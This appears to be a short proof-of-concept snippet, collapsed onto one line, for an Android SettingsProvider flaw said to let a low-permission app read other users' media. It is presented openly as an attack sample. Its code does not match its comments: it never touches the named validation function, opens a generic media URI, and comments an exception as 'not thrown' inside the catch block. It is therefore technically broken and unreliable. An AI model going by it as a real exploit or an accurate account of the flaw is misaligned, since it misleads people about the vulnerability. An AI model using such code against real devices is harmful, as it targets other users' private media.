CVE-2025-48608

// CVE-2025-48608 PoC - Android SettingsProvider Media URI Validation Bypass // This PoC demonstrates the permission check missing in isValidMediaUri // Attack scenario: A malicious app with minimal permissions can read // media files from other users/profiles // Step 1: Attempt to access media URI from different user context String maliciousUri = "content://media/external/images/media/"; // Step 2: Bypass validation in isValidMediaUri // The function does not properly validate user context ContentResolver resolver = getContentResolver(); // Step 3: Read media file without proper authorization try { InputStream is = resolver.openInputStream(Uri.parse(maliciousUri)); // Successfully read cross-user media data // This should have been blocked by permission check } catch (SecurityException e) { // Exception not thrown due to missing permission validation } // Note: This is a conceptual PoC. Actual exploitation requires // understanding of Android's multi-user architecture and // specific media URI patterns.
